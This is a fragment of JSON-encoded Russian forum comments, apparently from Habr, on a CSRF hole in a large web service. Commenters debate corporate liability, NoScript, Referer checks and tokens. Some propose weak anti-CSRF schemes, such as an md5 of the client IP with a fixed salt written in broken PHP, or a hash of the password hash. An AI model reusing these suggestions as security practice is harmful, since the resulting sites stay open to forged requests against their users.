1, 8, 5, 1, 2, -1, 1, 6, 0, 0, 1, 0, 0, 3, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, -1, 2, 0, 0, 0, 0, -2, -1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0 ], "votes": [ 60, 5, 3, 4, 19, 6, 6, 0, 3, 18, 0, 1, 8, 2, 8, 4, 7, 0, 0, 0, 0, 24, 8, 0, 0, 1, 9, 0, 0, 2, 3, 19, 5, 4, 3, 8, 8, 10, 2, 1, 8, 5, 1, 2, 1, 1, 6, 0, 0, 1, 0, 0, 3, 0, 0, 0, 0, 0, 0, 2, 2, 0, 0, 3, 2, 0, 0, 0, 0, 2, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">> Имеют ли право на говнокод крупные компании?<br/>\r\n<br/>\r\nИмеют. И им пофиг. Ваш К.О.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Я намеренно не привожу здесь названия этого ресурса</blockquote> <br/>\r\nНадо было тогда исходники/скриншоты тоже подчистить.<br/>\r\nА то сейчас набегут скрипт-кидди.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">На уязвимости такого вида — не имеют.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вообще, очень интересно, можно ли добиться ответственности от компании, которая так подставила?<br/>\r\nДумаю, в случае создания законодательной базы, дыр в сайтах станет намного меньше.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">мейлрушечка? Бррр…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Фишка в том, что у нас нет ответственности за такую халатность со стороны компаний.<br/>\r\nЕсли бы вы могли подать в суд, и самое главное выиграть, за причинение ущерба, то все было бы по другому…<br/>\r\nА так всем пофиг какие неудобства они могут вам причинить собственной халатностью…<br/>\r\n<br/>\r\nХотя наверно возможно доказать свою не виновность пока дырку не закрыли, продемонстрировав ее.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А кто их будет проверять на соответствие? А кто будет сертифицировать разработчиков? А кто будет решать что является дырой, а что нет? и т.д. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А кто будет проверять на соответствие? А кто будет сертифицировать разработчиков? А кто будет решать что дыра а что нет? и т.д.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">эм. что-то на хабре затуп. сказали что первый пост не ушел, а потом сразу два :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Есть серьезные подозрения, что описанная вами уязвимость есть на 999 сайтов из 1000. Я бы не стал сильно надеется, что вебмастеры бросят все свои важные дела и пойдут ковырять код ради того, чтобы Васе Пупкину не дали два года. Дело в том, что проблема то не у веб-мастера. Его основная проблема — это спам в комментариях и он о ней, скорее всего, уже позаботился. Описанная вами проблема — это проблема Васи Пупнкина. И решать ее он должен сам. Антивирус, какой-нибудь плагин к браузеру, не лазить куда попало и тп. Спасение утопающих… </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А кто бы взялся провести аудит <a href=\"http://www.dataved.ru/2011/06/openmeetings-description.html\">свободного проекта</a> (<a href=\"http://code.google.com/p/openmeetings/\">код</a>)? Может даже кто может патчи подготовить?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Они делают деньги. Просто деньги.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ага, лечение поноса запретом ходить в сортир…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Простите, и что должен делать т.н. «антивирус, какой-нибудь плагин к браузеру»? Запрещать отправлять данные из формы на другой домен? Как вы себе это представляете?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну дык… нахрена нужна полиция?<br/>\r\nГрабители и воры это проблема Васи Пупкина…<br/>\r\nКороткоствол, какой нибудь нож… не ходить по темным улицам…<br/>\r\n<br/>\r\nНу вы поняли…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">NoScript… блокирует выполнение скриптов и таким образом блокирует отсылку на другой домен.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">К сожалению над программистами часто стоит бестолковое начальство. «Задача сделана? Функционал реализован? Быстро переходим к следующей задаче что бы не отставать от конкурентов», а про уязвимости голова потом будет болеть, когда начальство получит свои премии за работу стахановскими темпами. <br/>\r\nИмхо: совковый менталитет у многих еще не вылечен, пятилетку за 2 года хотят выжать.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Определенная ответственность есть — поисковые системы худо-бедно определяют зараженные сайты и фактически закрывают доступ к сайту через стандартные сервисы браузера и несколько ограничивают переходы с поисковой выдачи. Сайты, которым приносит прибыль переходы с поисковиков обычно озабочены отсутствием подобных ограничений. <br/>\r\n<br/>\r\nПроблема в том что уровень компетентности многочисленных сайтостроителей и сайтовладельцев несколько плосковат.<br/>\r\n<br/>\r\nНо опять же регулирование в интернете невозможно, а посему все в руках пользователей. Только краудсорсинг может хоть что-то решать или менять в инете. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Может быть однажды, в далёком будущем, до общества наконец дойдёт, что в интернет с законами лезть просто не нужно.<br/>\r\nИнтернет не принадлежит ни одной стране, ни одна его часть, кроме тех, которые они там сами и создают, но даже они частью стран не являются и никакие земные законы к ним неприменимы.<br/>\r\nИ тот факт, что интернет является частью земной цивилизации ни коим образом не означает…<br/>\r\n<br/>\r\nЗавершаю мысль и иду спать:<br/>\r\n<s>Вполне достаточно уже того, что для регистрации доменов регистраторы получают персональные данные, а данные регистраторов доступны властям (даже немного черезчур) и если кто-нибудь и должен нести ответственность за то, что кто-то насрал в интернетах — то это или владелец обосранного ресурса или владелец хостинга или насравший, но единственное возможное наказание за такое — принудительное смывание, всё остальное уже за пределами интернетов</s>…<br/>\r\nХотя нет, лучше вот так:<br/>\r\n — За нарушения земных законов в земных странах положены земные наказания (штраф, тюрьма, расстрел)<br/>\r\n — За нарушения законов интернетов в интернетах положены наказания интернетов (кик, бан, перманентный бан)<br/>\r\n — За нарушения земных законов в интернетах наказывать стоит в интернетах, ибо если я нарушу закон США, находясь в России, то и судить меня будет российский суд по российским законам, а не США!<br/>\r\n — За нарушения законов интернетов вне интернетов последним тоже не стоит лезть не в своё дело (ибо если я в реале назвала админа форума дураком это не повод для бана)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">если программист не готов отстаивать перед начальством позицию того что код должен быть написан правильно, а программа вести себя адекватно и надежно — то это не настоящий программист.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Может просто реферер проверять? Тогда с помошью айфрейма сложно будет такое сделать, так как заголовки таким способом не подделаешь, а аякс не сработает, а на сервере нет кук того сайта.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Серебряных пуль к сожалению не бывает…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">>Давайте порассуждаем на эту тему, а может и предпримем какие-то действия<br/>\r\nИмеют. Ошибаются все. Права на ошибку не имеют очень немногие.<br/>\r\nДолжно быть наказуемо. Действуйте.<br/>\r\nЗафиксируйте ваше общение с компанией. Постарайтесь выяснить имена конкретных людей и их начальников.<br/>\r\nНе реагируют — публикуйте уязвимость.<br/>\r\nНе помогает — демонстрируйте серьезность проблемы. Запостите 1000 комментариев «Закройте уже дыру наконец!» и ссылку на описание проблемы.<br/>\r\n(Только с законом будьте осторожны.)<br/>\r\n<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вы потеряли связь с реальностью. Нужно совершенствовать (или отменять) законы, которые позволяют посадить случайного человека за публикацию, которую он не совершал, а не сертифицировать разработчиков.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Примерно <img src=\"http://habrahabr.ru/blogs/infosecurity/131022/\" alt=\"image\"/>так.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">То есть <a href=\"http://habrahabr.ru/blogs/infosecurity/131022/\">так</a>.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">><i>в котором по определенному алгоритму формируется определенный набор символов</i><br/>\r\n<br/>\r\nЭтаж надо было так забористо банальный токен назвать! А CSRF на уровне посетителя вполне себе неплохо лечится кнопкой «Выход» ;) Нисколько не хочу оправдывать говнокод в приложении, но пользователю и самому неплохо бы о себе позаботиться.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">имеют. задача проекта работать и приносить дЭнги, а не быть красивым и тешить эго разраба.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Крупные компании имеют право написать, что первый пост не ушёл, но опубликовать его, %username%.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Может, я чего-то не понимаю, но я не очень представляю, как можно в эру вебдванолей и аяксов использовать браузер с отключенным javascript'ом.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Настолько баян, что даже баян заплакал.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В этом и проблема, что вернусь. Речь идет про крупные компании, с большой базой клиентов. Продолжая вашу аналогию, можно представить, что супермаркет вообще один на город. Или в соседнем торгуют отравой и просрочкой. А в третьем сразу на входе избивают и отнимают деньги. <br/>\r\n<br/>\r\nОб этом и речь, что чем больше компания, тем больше должна быть ответственность, т.к. клиенту сложно или невозможно (в случае PSN) найти альтернативу.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">За кражу денег через интернет нужно банить на сайте банка?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Поэтому настоящий программист ваяет шедевры у себя дома, и про него никто не знает, потому что нет денег на раскрутку.<br/>\r\n<br/>\r\nА когда у ненастоящего менеджера есть миллион на проект, и сроки и дедлайны, то нанимать он будет ненастоящих программистов, которые ему сделают что надо и в срок, а не настоящего, который скажет «Вообще-то перл нынче уже не тот, надо бы начать с того, что перепишем как надо интерпретатор. Если уж делать — так на совесть!»</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Как ни странно, но возможно это было бы эффективнее. Тогда бы банку все таки пришлось заниматься предотвращением краж, а не просто «мы дело передали в милицию — теперь они пусть разбираются, мы не виноваты».<br/>\r\n<br/>\r\nПо аналогии, если вы идете темной ночью и надеетесь на милицию — то есть риск, что вас ограбят. Но если вы твердо знаете, что милиция вас не защитит, то вы передвигаться будете на броневике, следуя за артиллерийским огнем, который все возможные угрозы перед вами уничтожит. И тогда шансов дойти до дома без приключений — уже больше.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Каким образом «Выход» лечит? Во-первых, многие не пользуются им (а для злоумышленника часто важно чтобы многие попались, но не обязательно, чтобы уж все). А во-вторых, зайти на «плохой» сайт можно и будучи залогиненым на «хорошем» сайте, просто потому что ты с ним еще работаешь.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну он же не полностью отключает javascript. Скорее, отфильтровывает нежелательные скрипты и подозрительные http-запросы.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Название топика и посыл немного неверный. Уязвимость такого рода — это не говнокод, это критический баг в системе, в части ее функционала, так как в таких родах системах — надлежащая безопасность- сама по себе часть функциональности.<br/>\r\n<br/>\r\nПод словом говнокод я бы понял — код, написанный без комментариев, спагетти код, код, отрицающий грамотные и уместные паттерны, код, имеющий high coupling/low cohesion, и все такое прочее. На такое любая компания имеет право, так как это внутреняя часть системы, и вам нет дела до всего этого — если до вас это недопросачивается.<br/>\r\n<br/>\r\nУязвимости же, позволяющие одному пользователю писать сообщения от имени другого — это не гавнокод. Это критические ошибки архитектуры \\ баги, не больше и не меньше.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ага, картинки совсем без палева вставлены<br/>\r\n<br/>\r\n«не будем называть имён, говоря о том что вася виноват»</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Лично я никогда им не пользовался, но 1 раз видел машину с установленным NoScript. Может, там было так настроено, но там он резал 99% всех скриптов, т.е. буквально на каждой странице приходилось разрешать javascript. Через 10 минут я устал от этого и запустил Хром.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Главное успеть найти уязвимость, через которую вас подставили, до того как вас лишат компьютера и интернета на пару лет…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да я вроде постарался везде вычистить название компании…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Многие из персональных межсетевых экранов и анонимизирующих proxy-серверов вырезают Referer, как потенциально небезопасный заголовок. Поэтому сервис может не работать у некоторых пользователей.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">1) «politics/7082376» из кода легко гулгится<br/>\r\n2) иконки из скриншотов с комментариями</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вы действительно думаете что большинство пользователей что-то знают о дырах на сайтах и как их используют? Они знают, как зайти в почтовый ящик, знают, как сообщение на вконтакте отправить и все. И даже представления не имеют, что кто-то их может так подставить…<br/>\r\nА «Выход» зачастую жмется только для того чтобы в ваш аккаунт не залез тот, кто следующий сядет за компьютер</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Имеют. Ты когда регистрируешься на каком-нибудь сайте, всегда соглашаешься с правилами. А там много чего интересного пишут.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><code>&lt;сарказм></code><br/>\r\nНет, конечно стоит сажать в тюрьму за такое.<br/>\r\nВот мы сейчас зарядим в вашу винду троянчика, затунелимся через него и переведём себе денег со Василия Пупкиновича, а вы за нас посидите лет пять, ибо улики мы за собой уберём.<br/>\r\n<code>&lt;/сарказм></code></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Такое путешествие — приключение само по себе.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Забанить педофила на педосайте?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вам этот педофил так сильно мешает? Забаньте его у себя в блоге.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">И сколько это будет стоить, и кому достанется право пилить собранное и закрывать нераспиленное?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Буквально на днях одно обстоятельство заставило меня задуматься над одной вещью:<br/>\r\nНезакрытая <b>вкладка</b> веб-интерфейса <i>той самой</i> почты в интернет эксплойтере за пару часов создала аж <b>полтора</b> мегабайта паразитного <b>ИСХОДЯЩЕГО</b> (!!) GPRS-трафика.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Немного новым годом повеяло:<br/>\r\n<br/>\r\n<em>> Этот год стал знаковым в области проблем информационной безопасности.</em><br/>\r\n<br/>\r\nЭтот год был трудным для нашей страны в интернетах.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">«В интернет эксплойтере» — это типа вы так Интернет Эксплорер опустили? :-D</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">> т.к. спустя неделю (!) после того, как администрация была уведомлена о найденной «дыре», эта самая «дыра» до сих пор не заштопана<br/>\r\n<br/>\r\nРассмешили честно говоря этой неделей. Когда я летом сообщил им (и не только им) о большом количестве CSRF, никто ничего не делал в течение 2х месяцев.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Думаю, что у владельца того компьютера таких проблем не возникало — на всех часто посещаемых им (и безопасных) сайтах разрешения уже стояли.<br/>\r\n<br/>\r\nКроме того, NoScript не только скрипты запрещает — их можно глобально разрешить и оставить блокировку XSS, кликов в полузакрытый весёлыми картинками iframe и прочего.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вы переворачиваете с ног на голову. Если работает презумпция невиновности, это обвинение должно доказать, что уязвимостей на этом сайте или на компьютере пользователя нет. Иначе наличие вины подозреваемого они этим не докажут. А если презумпция не работает, или у суда некомпетентные/продажные эксперты, это лишь один из многих возможных сценариев экспуатации этой «уязвимости», лечить надо болезнь а не симптомы.<br/>\r\nИ да, в нормальном обществе проблемы говнокода — проблемы компании, а не её пользователей. А формулировка некорректная, что за «право» такое? Если их устраивают миллионные иски, пусть так и будет. А если исков и нет, чего им вообще чесаться-то?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Они, похоже, так ничего и не сделали</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><a href=\"https://addons.mozilla.org/ru/firefox/addon/requestpolicy/\">Плагин RequestPolicy</a> для FF. Хотя не согласен с тем, что это проблема пользователя.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">NoScript по умолчанию включает параноидальную опции «мочить все, что не разрешено». Я предпочитаю включать опцию «Разрешать javascript с текущего домена второго уровня по умолчанию». И 99% НЕвредоносных скриптов работают без доп. телодвижений.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Как мне кажется, схема настолько сложно реализуема и гипотетическая цель настолько не соответствует затратам, что вряд ли кто-то станет ее использовать. Есть и более простые способы анонимно постить комменты) </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я недавно стал замечать тикание компьютера. Иногда делает так «тик-тик» каждую секунду. Сначала думал, что что-то обрабатывает, а потом заметил, что тикание идет только когда открыто мыло.ру, это каждую секунду идет синхронизация с почтовым сервером. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">=) Многие онлайн банкинги проверяют реферер. Часто еще видел что имена полей генерируют как вы хеш сгенерили.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">я только не понимаю, чем поможет токен? В чем проблема тем же JS-скриптом сначала вызвать страницу с этого ресурса (конечно, не называемого) с нужным токеном, заполнить нужные поля, а потом просто отослать форму на нужный адрес? <br/>\r\nПо-мойм это проблема пользователя, раз он заходит на сайты, на которых висят такие вот скрипты.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мне кажется ключевые слова здесь «часто посещаемых» «и безопасных». Речь идет о чертовски посещаемом и для многих «безопасном» бгмерзком ресурсе. Так что в данном случае Noscript ни как не поможет, так как рядовой пользователь добавит данный ресурс в исключение.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Есть один момент. Если примем, что крупные компании не имеют права пренебрегать безопасностью пользователей, то встанет вопрос — как определить порог, после которого компания считается «крупной», а потом предотвратить вывод информационных ресурсов в мелкие дочерние компании для избежания ответственности за безопасность пользователей. И ведь не запретишь создавать дочерние компании и им не запретить владеть информационными ресурсами.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Как вариант — может стоит немного доработать закон о персональных данных и применять его более широко и гибко? В данном случае это будет означать необходимость защитить сессию пользователя, раз он зарегистрировался и предоставил свои идентификационные данные, то сессию обмена данными с ним необходимо защищать. Такой вариант избавит от необходимости ранжировать компании. А если принять общероссийский стандарт защиты данных и сделать его доступным для использования, то принуждать к этому отдельные компании не придется.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Как я понял, в статье идет речь о том, что пользователь сам каким-то образом зашел на страницу злоумышленника:<br/>\r\n<blockquote>Теперь атакующему необходимо сделать так, чтобы когда пользователь заходит на его сайт</blockquote><br/>\r\nна которой, что логично, размещен тот самый код. И вот JS запрашивает нужную страницу со всеми необходимыми токенами пользователя, вставляет ее в свой iframe, заполняет поля и отправляет. Серверу крайне проблематично определить, исходил ли этот запрос от зловредного скрипта или от самого пользователя. Поэтому, мне кажется, первый шаг к противодействию — не заходить на такие сайты.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><a href=\"http://habrahabr.ru/sandbox/36927/\">habrahabr.ru/sandbox/36927/</a><br/>\r\nвот интересная заметка с размышлениями на эту тему</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">На таких сайтах в шапке крупными буквами написано: «Осторожно, вредоносный скрипт в теле страницы!» :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Еще один вариант — это чтобы компании проводили среди своих программистов <a href=\"http://www.youtube.com/playlist?list=PLC01F29C5DAC8590F\">подобные</a> лекции. Тогда бы люди лучше понимали какой код они пишут и к каким последствиям это может привести.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">примерно так :)<br/>\r\nно ведь в передаваемом запросе тому же серверу мыло.ру тоже нет переменной «badscript» => «true», а практически все заголовки можно подменить</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">И отпадают все jquery на CDN?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну это относительно небольшой whitelist.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">всякие сессионные токены — слишком сложно. если мы исходим из предположения, что нам достаточно передавать в форму что-то известное только данному пользователю, то это может быть всего-лишь хеш хеша пароля.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Фишка тут md5($_SERVER['REMOTE_ADDR']+'46d6dfvlw8e9hb');</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А на форумах такое возможно? (CSRF)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да, им пофиг. И это как правило указано: «Мы — такие то, не несем НИКАКОЙ ответственности за ЛЮБЫЕ Ваши действия и последствия, которые могут возникнуть в результате Ваших действий и т. п.»<br/>\r\n<br/>\r\nПолучается правильным один вариант: не использовать продукты с такими формулировками О_о</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">спасибо, доктор. теперь я тоже знаю, что это был за ресурс, хоть пост и почищен</div>" ], "message_markdown": [ "> Имеют ли право на говнокод крупные компании?\nИмеют. И им пофиг. Ваш К.О.", "> Я намеренно не привожу здесь названия этого ресурса\nНадо было тогда исходники/скриншоты тоже подчистить.\nА то сейчас набегут скрипт-кидди.", "На уязвимости такого вида — не имеют.", "Вообще, очень интересно, можно ли добиться ответственности от компании, которая так подставила?\nДумаю, в случае создания законодательной базы, дыр в сайтах станет намного меньше.", "мейлрушечка? Бррр...", "Фишка в том, что у нас нет ответственности за такую халатность со стороны компаний.\nЕсли бы вы могли подать в суд, и самое главное выиграть, за причинение ущерба, то все было бы по другому...\nА так всем пофиг какие неудобства они могут вам причинить собственной халатностью...\nХотя наверно возможно доказать свою не виновность пока дырку не закрыли, продемонстрировав ее.", "А кто их будет проверять на соответствие? А кто будет сертифицировать разработчиков? А кто будет решать что является дырой, а что нет? и т.д.", "А кто будет проверять на соответствие? А кто будет сертифицировать разработчиков? А кто будет решать что дыра а что нет? и т.д.", "эм. что-то на хабре затуп. сказали что первый пост не ушел, а потом сразу два :)", "Есть серьезные подозрения, что описанная вами уязвимость есть на 999 сайтов из 1000. Я бы не стал сильно надеется, что вебмастеры бросят все свои важные дела и пойдут ковырять код ради того, чтобы Васе Пупкину не дали два года. Дело в том, что проблема то не у веб-мастера. Его основная проблема — это спам в комментариях и он о ней, скорее всего, уже позаботился. Описанная вами проблема — это проблема Васи Пупнкина. И решать ее он должен сам. Антивирус, какой-нибудь плагин к браузеру, не лазить куда попало и тп. Спасение утопающих...", "А кто бы взялся провести аудит свободного проекта (код)? Может даже кто может патчи подготовить?", "Они делают деньги. Просто деньги.", "Ага, лечение поноса запретом ходить в сортир...", "Простите, и что должен делать т.н. «антивирус, какой-нибудь плагин к браузеру»? Запрещать отправлять данные из формы на другой домен? Как вы себе это представляете?", "Ну дык... нахрена нужна полиция?\nГрабители и воры это проблема Васи Пупкина...\nКороткоствол, какой нибудь нож... не ходить по темным улицам...\nНу вы поняли...", "NoScript... блокирует выполнение скриптов и таким образом блокирует отсылку на другой домен.", "К сожалению над программистами часто стоит бестолковое начальство. «Задача сделана? Функционал реализован? Быстро переходим к следующей задаче что бы не отставать от конкурентов», а про уязвимости голова потом будет болеть, когда начальство получит свои премии за работу стахановскими темпами.\nИмхо: совковый менталитет у многих еще не вылечен, пятилетку за 2 года хотят выжать.", "UFO just landed and posted this here", "UFO just landed and posted this here", "UFO just landed and posted this here", "Определенная ответственность есть — поисковые системы худо-бедно определяют зараженные сайты и фактически закрывают доступ к сайту через стандартные сервисы браузера и несколько ограничивают переходы с поисковой выдачи. Сайты, которым приносит прибыль переходы с поисковиков обычно озабочены отсутствием подобных ограничений.\nПроблема в том что уровень компетентности многочисленных сайтостроителей и сайтовладельцев несколько плосковат.\nНо опять же регулирование в интернете невозможно, а посему все в руках пользователей. Только краудсорсинг может хоть что-то решать или менять в инете.", "Может быть однажды, в далёком будущем, до общества наконец дойдёт, что в интернет с законами лезть просто не нужно.\nИнтернет не принадлежит ни одной стране, ни одна его часть, кроме тех, которые они там сами и создают, но даже они частью стран не являются и никакие земные законы к ним неприменимы.\nИ тот факт, что интернет является частью земной цивилизации ни коим образом не означает...\nЗавершаю мысль и иду спать:\n~~Вполне достаточно уже того, что для регистрации доменов регистраторы получают персональные данные, а данные регистраторов доступны властям (даже немного черезчур) и если кто-нибудь и должен нести ответственность за то, что кто-то насрал в интернетах — то это или владелец обосранного ресурса или владелец хостинга или насравший, но единственное возможное наказание за такое — принудительное смывание, всё остальное уже за пределами интернетов~~ ...\nХотя нет, лучше вот так:\n— За нарушения земных законов в земных странах положены земные наказания (штраф, тюрьма, расстрел)\n— За нарушения законов интернетов в интернетах положены наказания интернетов (кик, бан, перманентный бан)\n— За нарушения земных законов в интернетах наказывать стоит в интернетах, ибо если я нарушу закон США, находясь в России, то и судить меня будет российский суд по российским законам, а не США!\n— За нарушения законов интернетов вне интернетов последним тоже не стоит лезть не в своё дело (ибо если я в реале назвала админа форума дураком это не повод для бана)", "если программист не готов отстаивать перед начальством позицию того что код должен быть написан правильно, а программа вести себя адекватно и надежно — то это не настоящий программист.", "Может просто реферер проверять? Тогда с помошью айфрейма сложно будет такое сделать, так как заголовки таким способом не подделаешь, а аякс не сработает, а на сервере нет кук того сайта.", "Серебряных пуль к сожалению не бывает...", ">Давайте порассуждаем на эту тему, а может и предпримем какие-то действия\nИмеют. Ошибаются все. Права на ошибку не имеют очень немногие.\nДолжно быть наказуемо. Действуйте.\nЗафиксируйте ваше общение с компанией. Постарайтесь выяснить имена конкретных людей и их начальников.\nНе реагируют — публикуйте уязвимость.\nНе помогает — демонстрируйте серьезность проблемы. Запостите 1000 комментариев «Закройте уже дыру наконец!» и ссылку на описание проблемы.\n(Только с законом будьте осторожны.)", "Вы потеряли связь с реальностью. Нужно совершенствовать (или отменять) законы, которые позволяют посадить случайного человека за публикацию, которую он не совершал, а не сертифицировать разработчиков.", "Примерно так.", "То есть так.", ">в котором по определенному алгоритму формируется определенный набор символов\nЭтаж надо было так забористо банальный токен назвать! А CSRF на уровне посетителя вполне себе неплохо лечится кнопкой «Выход» ;) Нисколько не хочу оправдывать говнокод в приложении, но пользователю и самому неплохо бы о себе позаботиться.", "имеют. задача проекта работать и приносить дЭнги, а не быть красивым и тешить эго разраба.", "Крупные компании имеют право написать, что первый пост не ушёл, но опубликовать его, %username%.", "Может, я чего-то не понимаю, но я не очень представляю, как можно в эру вебдванолей и аяксов использовать браузер с отключенным javascript'ом.", "Настолько баян, что даже баян заплакал.", "В этом и проблема, что вернусь. Речь идет про крупные компании, с большой базой клиентов. Продолжая вашу аналогию, можно представить, что супермаркет вообще один на город. Или в соседнем торгуют отравой и просрочкой. А в третьем сразу на входе избивают и отнимают деньги.\nОб этом и речь, что чем больше компания, тем больше должна быть ответственность, т.к. клиенту сложно или невозможно (в случае PSN) найти альтернативу.", "За кражу денег через интернет нужно банить на сайте банка?", "Поэтому настоящий программист ваяет шедевры у себя дома, и про него никто не знает, потому что нет денег на раскрутку.\nА когда у ненастоящего менеджера есть миллион на проект, и сроки и дедлайны, то нанимать он будет ненастоящих программистов, которые ему сделают что надо и в срок, а не настоящего, который скажет «Вообще-то перл нынче уже не тот, надо бы начать с того, что перепишем как надо интерпретатор. Если уж делать — так на совесть!»", "Как ни странно, но возможно это было бы эффективнее. Тогда бы банку все таки пришлось заниматься предотвращением краж, а не просто «мы дело передали в милицию — теперь они пусть разбираются, мы не виноваты».\nПо аналогии, если вы идете темной ночью и надеетесь на милицию — то есть риск, что вас ограбят. Но если вы твердо знаете, что милиция вас не защитит, то вы передвигаться будете на броневике, следуя за артиллерийским огнем, который все возможные угрозы перед вами уничтожит. И тогда шансов дойти до дома без приключений — уже больше.", "Каким образом «Выход» лечит? Во-первых, многие не пользуются им (а для злоумышленника часто важно чтобы многие попались, но не обязательно, чтобы уж все). А во-вторых, зайти на «плохой» сайт можно и будучи залогиненым на «хорошем» сайте, просто потому что ты с ним еще работаешь.", "Ну он же не полностью отключает javascript. Скорее, отфильтровывает нежелательные скрипты и подозрительные http-запросы.", "Название топика и посыл немного неверный. Уязвимость такого рода — это не говнокод, это критический баг в системе, в части ее функционала, так как в таких родах системах — надлежащая безопасность- сама по себе часть функциональности.\nПод словом говнокод я бы понял — код, написанный без комментариев, спагетти код, код, отрицающий грамотные и уместные паттерны, код, имеющий high coupling/low cohesion, и все такое прочее. На такое любая компания имеет право, так как это внутреняя часть системы, и вам нет дела до всего этого — если до вас это недопросачивается.\nУязвимости же, позволяющие одному пользователю писать сообщения от имени другого — это не гавнокод. Это критические ошибки архитектуры \\ баги, не больше и не меньше.", "ага, картинки совсем без палева вставлены\n«не будем называть имён, говоря о том что вася виноват»", "Лично я никогда им не 